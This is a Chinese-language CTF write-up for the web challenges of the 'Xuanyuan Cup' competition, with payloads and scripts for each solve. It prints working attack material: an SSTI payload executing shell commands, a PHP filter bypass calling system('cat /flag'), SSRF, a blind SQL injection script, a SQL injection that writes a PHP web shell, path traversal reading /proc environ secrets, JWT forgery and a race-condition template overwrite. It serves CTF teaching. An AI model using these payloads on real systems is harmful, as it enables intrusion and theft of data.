“轩辕杯“云盾砺剑CTF挑战赛 Web wp

文章目录

ezflask

ssti, 过滤了一些关键词, 绕一下就行

复制代码
name={{url_for["__globals__"]["__builtins__"]["eval"]("__tropmi__"[::-1])('o''s')["po""pen"]("ls /")|attr("read")()}}

ezjs

查看源码可以看到这一段

复制代码
game._addSuccessFn(function (scoreNow) {
    current_score.innerHTML = scoreNow

    if (scoreNow === 100000000000) {
        fetch('getflag.php', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/x-www-form-urlencoded',
            },
            body: 'score=' + scoreNow
        })
        .then(response => response.text())
        .then(data => {
            alert("恭喜你!flag是:" + data);
        })
        .catch(error => {
            console.error('错误:', error);
        });
    }
})

直接伪造请求就行

ezrce

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);

function waf($a) {
    $disable_fun = array(
        "exec", "shell_exec", "system", "passthru", "proc_open", "show_source", 
        "phpinfo", "popen", "dl", "proc_terminate", "touch", "escapeshellcmd", 
        "escapeshellarg", "assert", "substr_replace", "call_user_func_array", 
        "call_user_func", "array_filter", "array_walk", "array_map", 
        "register_shutdown_function", "register_tick_function", "filter_var", 
        "filter_var_array", "uasort", "uksort", "array_reduce", "array_walk", 
        "array_walk_recursive", "pcntl_exec", "fopen", "fwrite", 
        "file_put_contents", "readfile", "file_get_contents", "highlight_file", "eval"
    );
    
    $disable_fun = array_map('strtolower', $disable_fun);
    $a = strtolower($a);

    if (in_array($a, $disable_fun)) {
        echo "宝宝这对嘛,这不对噢";
        return false;
    }
    return $a;
}

$num = $_GET['num'];
$new = $_POST['new'];
$star = $_POST['star'];

if (isset($num) && $num != 1234) {
    echo "看来第一层对你来说是小case<br>";
    if (is_numeric($num) && $num > 1234) {
        echo "还是有点实力的嘛<br>";
        if (isset($new) && isset($star)) {
            echo "看起来你遇到难关了哈哈<br>";
            $b = waf($new); 
            if ($b) { 
                call_user_func($b, $star); 
                echo "恭喜你,又成长了<br>";
            } 
        }
    }
}
?>

主要是绕过waf里面被禁用的函数, 可以通过在函数名前面添加一个反斜杠\, 不影响函数的执行, 且waf也没法检查出来

复制代码
?num=12345
new=\system&star=cat /flag

ezssrf1.0

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_GET['url'];

if ($url == null)
    die("Try to add ?url=xxxx.");

$x = parse_url($url);

if (!$x)
    die("(;_;)");

if ($x['host'] === null && $x['scheme'] === 'http') {
    echo ('Well, Going to ' . $url);
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $result = curl_exec($ch);
    curl_close($ch);
    echo ($result);
} else
    echo "(^-_-^)";

感觉有点抽象, 一直尝试, 看看哪个有反应

复制代码
?url=http:@localhost/flag
复制代码
?url=http:@localhost/FFFFF11111AAAAAggggg.php

签到

得到l23evel4.php

提示了今年是多少年

继续levelThree.php

F12有提示

继续/level444Four.php

继续: level4545Five.php

直接放控制台就行

继续: zzpufinish.php

ezsql1.0

过滤了空格, 可以用/**/绕过,直接布尔盲注打

发现可以执行一些内置函数的操作, 想要查询却查不了, 试了了很久, 后面想到可以通过load_file函数读取文件, 没被ban, 但是flag不在根目录下, 读一下源码

复制代码
import requests
import urllib.parse
url="http://27.25.151.26:32384/"

headers = {"Content-Type":"application/x-www-form-urlencoded","User-Agent": "Mozilla/5.0"}
flag = ''
i=1
while True:
    right = 128
    left = 32

    while left <= right:
        mid = (right + left) // 2

        params={"id":f"-1/**/or/**/ord(substr(load_file('/var/www/html/index.php')/**/from/**/{i}/**/for/**/1))>{mid}#"}
        res=requests.get(url=url,params=params,headers=headers,proxies={"http": None, "https": None})


        if 'admin' in res.text:
            left=mid+1
        else:
            right=mid-1
    i+=1
    flag += chr(left)
    print(flag)

可以拿到源码

php 复制代码
<?php
include('connect.php');

$input = $_GET['id'] ?? '';
$result_html = '';

if (strpos($input, ' ') !== false) {
    $result_html = "<p class='error'> hacker</p>";
} else if ($input !== '') {
    $filtered_input = preg_replace('/select/i', '', $input);
    $sql = "SELECT id, username, password FROM users WHERE id = $filtered_input";
    $query = @$conn->query($sql);
    
    if ($query && $query->num_rows > 0) {
        $row = $query->fetch_assoc();
        // $result_html .= "<table><tr><th>ID</th><th></th><th></th></tr>";
        $result_html .= "<tr>";
        $result_html .= "<td>" . htmlspecialchars($row['id']) . "</td>";
        $result_html .= "<td>" . htmlspecialchars($row['username']) . "</td>";
        $result_html .= "<td>" . htmlspecialchars($row['password']) . "</td>";
        $result_html .= "</tr>";
        $result_html .= "</table>";
    } else {
        $result_html .= "<p class='error'></p>";
    }
}

if ($conn instanceof mysqli && $conn->ping()) {
    $conn->close();
}
?>

<!DOCTYPE html>
<html lang="zh">
<head>
    <meta charset="UTF-8">
    <title>User Query</title>
</head>
<body>
    <?php echo $result_html; ?>
</body>
</html>

发现是把select替换为空了, 难怪查询的操作都执行不了

双写绕过直接写马

复制代码
?id=-1/**/union/**/seselectlect/**/1,2,'<?=eval($_POST[1]);?>'into/**/outfile/**/'/var/www/html/1.php'%23

/var目录下可以发现一个db.sql文件, 里面存在flag

ez_web1

查看源码, 根据这些信息, 直接猜测出用户名和密码: fly233/123456789

非预期

进去到里面点击它的图书, 会发现跳转到/read的路由,三本书的路由是一样的, 但是内容不一样, 可能是存在POST传了其他的参数, 抓一下包就可以发现, 直接任意文件读, 可以直接读到flag, 直接非预期了

复制代码
book_path=../../../../proc/1/environ
预期解

读一下源码

python 复制代码
from flask import Flask, render_template, request, redirect, url_for, make_response, jsonify
import os
import re
import jwt


app = Flask(__name__, template_folder='templates')
app.config['TEMPLATES_AUTO_RELOAD'] = True
SECRET_KEY = os.getenv('JWT_KEY')
book_dir = 'books'
users = {'fly233': '123456789'}


def generate_token(username):
    payload = {
        'username': username
    }
    token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')
    return token


def decode_token(token):
    try:
        payload = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])
        return payload
    except jwt.ExpiredSignatureError:
        return None
    except jwt.InvalidTokenError:
        return None


@app.route('/')
def index():
    token = request.cookies.get('token')
    if not token:
        return redirect('/login')
    payload = decode_token(token)
    if not payload:
        return redirect('/login')
    username = payload['username']
    books = [f for f in os.listdir(book_dir) if f.endswith('.txt')]
    return render_template('./index.html', username=username, books=books)


@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('./login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')

        if username in users and users[username] == password:
            token = generate_token(username)
            response = make_response(jsonify({
                'message': 'success'
            }), 200)
            response.set_cookie('token', token, httponly=True, path='/')
            return response
        else:
            return {'message': 'Invalid username or password'}


@app.route('/read', methods=['POST'])
def read_book():
    token = request.cookies.get('token')
    if not token:
        return redirect('/login')
    payload = decode_token(token)
    if not payload:
        return redirect('/login')
    book_path = request.form.get('book_path')
    full_path = os.path.join(book_dir, book_path)
    try:
        with open(full_path, 'r', encoding='utf-8') as file:
            content = file.read()
        return render_template('reading.html', content=content)
    except FileNotFoundError:
        return "文件未找到", 404
    except Exception as e:
        return f"发生错误: {str(e)}", 500


@app.route('/upload', methods=['GET', 'POST'])
def upload():
    token = request.cookies.get('token')
    if not token:
        return redirect('/login')
    payload = decode_token(token)
    if not payload:
        return redirect('/login')
    if request.method == 'GET':
        return render_template('./upload.html')
    if payload.get('username') != 'admin':
        return """
        <script>
            alert('只有管理员才有添加图书的权限');
            window.location.href = '/';
        </script>
        """
    file = request.files['file']
    if file:
        book_path = request.form.get('book_path')
        file_path = os.path.join(book_path, file.filename)
        if not os.path.exists(book_path):
            return "文件夹不存在", 400
        file.save(file_path)

        with open(file_path, 'r', encoding='utf-8') as f:
            content = f.read()
            pattern = r'[{}<>_%]'

            if re.search(pattern, content):
                os.remove(file_path)
                return """
                <script>
                    alert('SSTI,想的美!');
                    window.location.href = '/';
                </script>
                """
        return redirect(url_for('index'))
    return "未选择文件", 400

需要伪造admin, 读/proc/self/environ找到key

复制代码
JWT_KEY=th1s_1s_k3y
python 复制代码
import jwt
SECRET_KEY="th1s_1s_k3y"
def generate_token(username):
    payload = {
        'username': username
    }
    token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')
    return token

token_admin=generate_token("admin")
print(token_admin)
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.EYrwzSGzfGe_PMnw-Wl4Ymt_QuMtyApHi57DMcZ7e3U

看到它上传文件的逻辑, 先把文件保存下来之后去检查它的文件内容, 如果有不合法的字符, 就把文件给删除, 这里很明显可以进行一个竞争去绕过它的字符过滤

一般想要进行ssti是要用到render_template_string这个模块, 但是这里并没有导入这个模块, 所以在这里就上传一个index.html文件覆盖掉原先的index.html(或者代码里面的其他的html文件都可以), 让它的内容为ssti的rce, 这样在render_template进行渲染的时候也可以执行ssti的代码

我们正常上传的文件路径是/app/books/xx.txt

然后可以通过参数filename更改上传的路径, index.html的路径是在/app/templates/index.html

可以利用前面的任意文件读测试这些文件的存在

BurpSuite抓包, 直接在intruder模块不不断的发包就行

然后不停的刷新浏览器, 就可以拿到flag了

相关推荐
新中地GIS开发老师43 分钟前
25年GIS开发暑期实训营,15天Get三维可视化智慧城市开发项目
前端·人工智能·智慧城市·web·gis开发·webgis·地信
漫谈网络3 小时前
CORS跨域资源共享解析
前端·后端·web·cors
abcnull7 小时前
java中自定义注解
java·spring·springboot·web·注解
kali-Myon1 天前
栈迁移与onegadget利用[GHCTF 2025]ret2libc2
c语言·安全·pwn·ctf·栈溢出·栈迁移·onegadget
sg_knight2 天前
Flutter Web 3.0革命:用WebGPU实现浏览器端实时光追渲染,性能提升300%
前端·flutter·跨平台·web
hnlucky2 天前
《基于Keepalived+LVS+Web+NFS的高可用集群搭建》
java·linux·运维·前端·web·可用性测试·lvs
90后小陈老师3 天前
3D个人简历网站 6.弹出框
开发语言·javascript·3d·web
qq_334060214 天前
spring5-配外部文件-spEL-工厂bean-FactoryBean-注解配bean
java·spring·web
DBWYX4 天前
Cookie 与 Session
web